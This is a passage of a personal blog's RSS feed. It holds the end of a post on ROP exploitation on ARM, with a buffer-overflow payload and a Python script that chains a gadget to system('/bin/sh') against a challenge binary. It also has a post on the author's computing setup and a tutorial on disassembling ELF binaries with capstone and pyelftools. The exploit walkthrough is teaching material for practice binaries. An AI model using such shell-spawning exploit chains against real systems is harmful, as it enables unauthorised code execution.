3314<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
3315of the second instruction—<code>add r11, sp, #4</code>.
3316For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
3317the address of <code>winner</code>. Note the endianness.</p>
3318
3319<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
3320</code></pre></div>
3321
3322<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
3323
3324<p>The reason we don’t jump to the first instruction is because we want to control the stack
3325ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
3326those out after <code>winner</code> is done executing and we will no longer control
3327where it jumps to.</p>
3328
3329<p>So that didn’t do much, just prints out a string “Nothing much here…”.
3330But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
3331to do what we want (run a command, execute a shell, etc.).</p>
3332
3333<p>To do that, we’ll follow a multi-step process: </p>
3334
3335<ol>
3336<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
3337<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
3338<code>r0</code>.</li>
3339<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
3340</ol>
3341
3342<p>The pseudo-code is something like this:</p>
3343
3344<pre><code>string = AAAABBBBCCCCDDDDEEEE
3345gadget = # addr of gadget
3346binsh = # addr of /bin/sh
3347system = # addr of system()
3348
3349print(string + gadget + binsh + system)
3350</code></pre>
3351
3352<p>Clean and mean.</p>
3353
3354<h2 id="the-exploit">The exploit</h2>
3355
3356<p>To write the exploit, we’ll use Python and the absolute godsend of a library—<code>struct</code>.
3357It allows us to pack the bytes of addresses to the endianness of our choice.
3358It probably does a lot more, but who cares.</p>
3359
3360<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
3361at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
3362
3363<pre><code>(gdb) find &system, +9999999, "/bin/sh"
3364</code></pre>
3365
3366<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
3367
3368<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
3369found from the disassmblies from earlier. Here’s the final exploit code:</p>
3370
3371<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
3372
3373<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
3374<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
3375<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
3376<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
3377
3378<span class="nb">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
3379</code></pre></div>
3380
3381<p>Honestly, not too far off from our pseudo-code :)</p>
3382
3383<p>Let’s see it in action:</p>
3384
3385<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
3386
3387<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
3388when the pipe closes, since there’s no input coming in from STDIN.
3389To get around this, we use <code>cat(1)</code> which allows us to relay input through it
3390to the shell. Nifty trick.</p>
3391
3392<h2 id="conclusion">Conclusion</h2>
3393
3394<p>This was a fairly basic challenge, with everything laid out conveniently.
3395Actual ropchaining is a little more involved, with a lot more gadgets to be chained
3396to acheive code execution.</p>
3397
3398<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
3399]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My setup</title><description><![CDATA[<h2 id="hardware">Hardware</h2>
3400
3401<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
34028 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
3403
3404<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
3405I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
3406
3407<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
3408
3409<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
3410For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
3411
3412<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
3413Great pair of headphones, although the ear cups need replacing.</p>
3414
3415<h2 id="and-the-software">And the software</h2>
3416
3417<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
3418window manager, all riced. I now use whatever JustWorks™.</del></p>
3419
3420<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install,
3421running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
3422
3423<p>Here’s a (riced) screenshot of my desktop. </p>
3424
3425<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
3426
3427<p>Most of my work is done in either the browser, or the terminal.
3428My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
3429a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a>—<a href="https://github.com/icyphox/nicy">nicy</a>.
3430My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
3431I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
3432
3433<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
3434clean and a single command to drop into a Kali shell.</p>
3435
3436<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
3437The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
3438
3439<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
3440]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
3441
3442<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
3443
3444<h2 id="setup">Setup</h2>
3445
3446<p>As the title suggests, you’re going to need a Python 3 interpreter before
3447anything else. Once you’ve confirmed beyond reasonable doubt that you do,
3448in fact, have a Python 3 interpreter installed on your system, run</p>
3449
3450<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
3451</code></pre></div>
3452
3453<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
3454
3455<p>With that out of the way, let’s start with an example of a basic reversing
3456challenge.</p>
3457
3458<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
3459
3460<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
3461<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
3462<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
3463
3464<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
3465 <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
3466 <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
3467 <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
3468 <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
3469 <span class="p">}</span>
3470 <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
3471 <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
3472 <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
3473 <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span>
3474 <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
3475 <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
3476 <span class="p">}</span>
3477 <span class="k">else</span> <span class="p">{</span>
3478 <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
3479 <span class="p">}</span>
3480<span class="p">}</span>
3481</code></pre></div>
3482
3483<p>Compile it with GCC/Clang:</p>
3484
3485<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
3486</code></pre></div>
3487
3488<h2 id="scripting">Scripting</h2>
3489
3490<p>For starters, let’s look at the different sections present in the binary.</p>
3491
3492<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
3493
3494<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
3495
3496<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
3497 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
3498 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
3499 <span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
3500</code></pre></div>
3501
3502<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
3503
3504<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
3505<span class="go">0x238 .interp</span>
3506<span class="go">0x254 .note.ABI-tag</span>
3507<span class="go">0x274 .note.gnu.build-id</span>
3508<span class="go">0x298 .gnu.hash</span>
3509<span class="go">0x2c0 .dynsym</span>
3510<span class="go">0x3e0 .dynstr</span>
3511<span class="go">0x484 .gnu.version</span>
3512<span class="go">0x4a0 .gnu.version_r</span>
3513<span class="go">0x4c0 .rela.dyn</span>
3514<span class="go">0x598 .rela.plt</span>
3515<span class="go">0x610 .init</span>
3516<span class="go">0x630 .plt</span>
3517<span class="go">0x690 .plt.got</span>
3518<span class="go">0x6a0 .text</span>
3519<span class="go">0x8f4 .fini</span>
3520<span class="go">0x900 .rodata</span>
3521<span class="go">0x924 .eh_frame_hdr</span>
3522<span class="go">0x960 .eh_frame</span>
3523<span class="go">0x200d98 .init_array</span>
3524<span class="go">0x200da0 .fini_array</span>
3525<span class="go">0x200da8 .dynamic</span>
3526<span class="go">0x200f98 .got</span>
3527<span class="go">0x201000 .data</span>
3528<span class="go">0x201010 .bss</span>
3529<span class="go">0x0 .comment</span>
3530<span class="go">0x0 .symtab</span>
3531<span class="go">0x0 .strtab</span>
3532<span class="go">0x0 .shstrtab</span>
3533</code></pre></div>
3534
3535<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
3536
3537<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
3538
3539<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
3540
3541<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
3542<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
3543
3544<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
3545 <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
3546 <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span>
3547 <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
3548 <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span>
3549 <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
3550 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
3551 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'0x</span><span class="si">{</span><span class="n">i</span><span class="o">.</span><span class="n">address</span><span class="si">:</span><span class="s1">x</span><span class="si">}</span><span class="s1">:</span><span class="se">\t</span><span class="si">{</span><span class="n">i</span><span class="o">.</span><span class="n">mnemonic</span><span class="si">}</span><span class="se">\t</span><span class="si">{</span><span class="n">i</span><span class="o">.</span><span class="n">op_str</span><span class="si">}</span><span class="s1">'</span><span class="p">)</span>
3552</code></pre></div>
3553
3554<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
3555
3556<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span>
3557<span class="go">0x6a0: xor ebp, ebp</span>
3558<span class="go">0x6a2: mov r9, rdx</span>
3559<span class="go">0x6a5: pop rsi</span>
3560<span class="go">0x6a6: mov rdx, rsp</span>
3561<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
3562<span class="go">0x6ad: push rax</span>
3563<span class="go">0x6ae: push rsp</span>
3564<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
3565<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
3566<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
3567<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
3568<span class="go">0x6ca: hlt</span>
3569<span class="go">... snip ...</span>
3570</code></pre></div>
3571
3572<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
3573
3574<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
3575
3576<blockquote>
3577 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
3578</blockquote>
3579
3580<p>To try and find these relocation entries, we write a third script.</p>
3581
3582<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
3583
3584<span class="kn">import</span> <span class="nn">sys</span>
3585<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
3586<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
3587
3588<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
3589 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
3590 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
3591 <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
3592 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'</span><span class="si">{</span><span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="si">}</span><span class="s1">:'</span><span class="p">)</span>
3593 <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span>
3594 <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
3595 <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span>
3596 <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span>
3597 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'</span><span class="si">{</span><span class="n">symbol</span><span class="o">.</span><span class="n">name</span><span class="si">}</span><span class="s1"> </span><span class="si">{</span><span class="n">addr</span><span class="si">}</span><span class="s1">'</span><span class="p">)</span>
3598</code></pre></div>
3599
3600<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
3601
3602<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
3603<span class="go">.rela.dyn:</span>
3604<span class="go"> 0x200d98</span>
3605<span class="go"> 0x200da0</span>
3606<span class="go"> 0x201008</span>
3607<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
3608<span class="go">**__libc_start_main 0x200fe0**</span>
3609<span class="go">__gmon_start__ 0x200fe8</span>
3610<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
3611<span class="go">__cxa_finalize 0x200ff8</span>
3612<span class="go">stdin 0x201010</span>
3613<span class="go">.rela.plt:</span>
3614<span class="go">puts 0x200fb0</span>
3615<span class="go">printf 0x200fb8</span>
3616<span class="go">fgets 0x200fc0</span>
3617<span class="go">strcmp 0x200fc8</span>
3618<span class="go">malloc 0x200fd0</span>
3619</code></pre></div>
3620
3621<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p>
3622
3623<blockquote>
3624 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
3625</blockquote>
3626
3627<p>And its definition is like so</p>
3628
3629<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span>
3630<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span>
3631<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
3632<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
3633<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
3634<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
3635</code></pre></div>
3636
3637<p>Looking back at our disassembly</p>
3638
3639<pre><code>0x6a0: xor ebp, ebp
36400x6a2: mov r9, rdx
36410x6a5: pop rsi
36420x6a6: mov rdx, rsp
36430x6a9: and rsp, 0xfffffffffffffff0
36440x6ad: push rax
36450x6ae: push rsp
36460x6af: lea r8, [rip + 0x23a]
36470x6b6: lea rcx, [rip + 0x1c3]
3648**0x6bd: lea rdi, [rip + 0xe6]**
36490x6c4: call qword ptr [rip + 0x200916]
36500x6ca: hlt
3651... snip ...
3652</code></pre>
3653
3654<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
3655
3656<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
3657
3658<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
3659
3660<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
3661
3662<pre><code>printf 0x650
3663fgets 0x660
3664strcmp 0x670
3665malloc 0x680
3666</code></pre>
3667
3668<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
3669
3670<pre><code>0x7b2: mov edi, 0xa ; 10
36710x7b7: call 0x680 ; malloc
3672</code></pre>
3673
3674<p>The loop to populate the <code>*pw</code> string</p>
3675
3676<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
36770x7d3: cdqe
36780x7d5: lea rdx, [rax - 1]
36790x7d9: mov rax, qword ptr [rbp - 0x10]
36800x7dd: add rax, rdx
36810x7e0: movzx eax, byte ptr [rax]
36820x7e3: lea ecx, [rax + 1]
36830x7e6: mov eax, dword ptr [rbp - 0x14]
36840x7e9: movsxd rdx, eax
36850x7ec: mov rax, qword ptr [rbp - 0x10]
36860x7f0: add rax, rdx
36870x7f3: mov edx, ecx
36880x7f5: mov byte ptr [rax], dl
36890x7f7: add dword ptr [rbp - 0x14], 1
36900x7fb: cmp dword ptr [rbp - 0x14], 8
36910x7ff: jle 0x7d0
3692</code></pre>
3693
3694<p>And this looks like our <code>strcmp()</code></p>
3695
3696<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
36970x847: mov rax, qword ptr [rbp - 8] ; *pw
36980x84b: mov rsi, rdx
36990x84e: mov rdi, rax
37000x851: call 0x670 ; strcmp
37010x856: test eax, eax ; is = 0?
37020x858: jne 0x868 ; no? jump to 0x868
37030x85a: lea rdi, [rip + 0xae] ; "haha yes!"
37040x861: call 0x640 ; puts
37050x866: jmp 0x874
37060x868: lea rdi, [rip + 0xaa] ; "nah dude"
37070x86f: call 0x640 ; puts
3708</code></pre>
3709
3710<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
3711
3712<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
3713
3714<h2 id="conclusion">Conclusion</h2>
3715
3716<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
3717
3718<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
3719
3720<p>Ciao for now, and I’ll see ya in #2 of this series—PE binaries. Whenever that is.</p>
3721]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
3722</rss>